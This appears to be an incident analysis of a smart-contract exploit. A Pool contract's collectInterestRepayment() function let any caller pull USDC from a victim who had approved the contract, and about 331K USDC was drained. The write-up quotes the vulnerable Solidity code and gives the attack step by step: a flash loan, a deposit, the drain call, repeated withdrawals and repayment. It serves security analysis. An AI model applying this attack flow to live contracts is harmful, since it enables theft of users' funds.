2025-06-14

0x0689a-330K-PoC

Summary

On block 23,924,517, the Pool contract at 0x0689aa2234d06Ac0d04cdac874331d287aFA4B43 was exploited for 330,999 USDC through a critical access control vulnerability in the collectInterestRepayment() function.

Root Cause

EOA had given an unlimited USDC approval to the Pool contract, the vulnerable collectInterestRepayment() function allows ANY caller to specify ANY from address, enabling the attacker to drain the entire EOA USDC balance directly to the Pool, then withdraw it.

Details

from Address in collectInterestRepayment()

The function accepts ANY address as the from parameter without any validation. This creates a massive siphon vulnerability for anyone who has approved the Pool contract.

Vector

1
2
3
4
5
6
7

// Pool.sol - Line 80
function collectInterestRepayment(address from, uint amount) external whenNotPaused {
    doERC20Transfer(from, address(this), amount);  // <- 'from' can be ANY address
    uint increment = amount.mul(mantissa).div(totalShares);
    sharePrice = sharePrice + increment;
    emit InterestCollected(from, amount);
}

1
2
3
4
5
6
7
8

// Internal transfer function - Line 127
function doERC20Transfer(address from, address to, uint amount) internal returns (bool) {
    ERC20UpgradeSafe erc20 = ERC20UpgradeSafe(erc20address);
    uint balanceBefore = erc20.balanceOf(to);
    bool success = erc20.transferFrom(from, to, amount);  // <- victim approval
    uint balanceAfter = erc20.balanceOf(to);
    require(balanceAfter >= balanceBefore, "Token Transfer Overflow Error");
    return success;
}

Victim EOA approved a vulnerable Proxy 0x0689aa2234d06ac0d04cdac874331d287afa4b43 in 2020-10-02 at 20:30:57

EOA Approval TX

Exploit Flow

Exploit TX

Step 1 - Flashloan

Uniswap V3 flash() -> 1,000 USDC

Step 2 - Deposit into Pool (to have withdrawal rights)

approve(Pool, unlimited)
deposit(1,000 USDC)
-> Attacker now has shares in the pool and can withdraw

Step 3 - EXPLOIT

collectInterestRepayment(0x526C7665C5dd9cD7102C6d42D407a0d9DC1e431d, 340,567,004,224)

-> Pool calls: USDC.transferFrom(victim, pool, 340,567 USDC)
-> This SUCCEEDS because victim had approved Pool for unlimited USDC
-> EOA entire USDC balance is now in the Pool

Step 4 - Withdrawals (35 total)

withdraw(10,000 USDC) x 33  -> 330,000 USDC
withdraw(10,000 USDC) x 1   -> 10,000 USDC
withdraw(1,000 USDC) x 1    -> 1,000 USDC
-----------------------------------------
Total withdrawn:             ~341,000 USDC

(because limited by transactionLimit of 10,000 USDC per tx)

Step 5 - Repay & Profit

Repay to Uniswap V3: 1,001 USDC (principal + fee)
Profit transferred: 330,999 USDC -> 0x2C2EC35549BFB2f983C2025Dfb2ab1c0f69c1ee9

The flashloan was used because the attacker didn't need any initial capital - they borrowed 1,000 USDC, used it to establish withdrawal rights, siphoned 340K USDC from the victim, withdrew everything, repaid the loan, and kept 330K profit.

Addresses

References

• Attack Transaction
• Vulnerable Pool Proxy
• Pool Implementation
• Exploit
• Victim EOA
• Profit Receiver